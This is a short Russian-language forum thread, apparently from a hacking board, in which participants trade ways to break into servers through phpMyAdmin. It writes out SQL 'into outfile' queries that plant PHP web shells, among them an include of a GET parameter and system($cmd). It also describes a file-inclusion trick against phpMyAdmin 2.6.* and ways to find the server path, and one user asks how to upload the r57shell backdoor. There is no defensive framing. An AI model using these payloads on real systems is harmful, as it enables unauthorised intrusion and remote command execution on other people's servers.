если есть права на запись, выполняй запрос select '<? include($_GET[sh]); ?>' from table into outfile '/home/user/...';
кароче если версия 2.6.* и есть права на запись хоть в тмп, то можно phpmyadmin/libraries/database_interface.lib.php?cfg[Server][extension]=LOCAL_FILE
в phpmyadmin довольно много способов узнать локальный путь например попросить какойнить файл который обычно не вызывается на прямую а только инклудится, а потом попробовать select '<? phpinfo(); ?>' into outfile '/path_to_phpmyadmin/shell.php' либо вобще поищи на http://packetstormsecurity.org про phpmyadmin инфу
ок у меня получилось select '<?php system($cmd) ?>' into outfile '/path_to_phpmyadmin/shell.php' ротом я набрал www.host/phpmyadmin/shell.php?cmd=dir,но там все в нечетабельном виде,как мне напрмер залить r57shell? На сервере стоит винда
сделал вышеописанный запрос вот что мне выдало Can't create/write to file 'd:\htdocs\phpmyadmin\shell.php (errcode 22)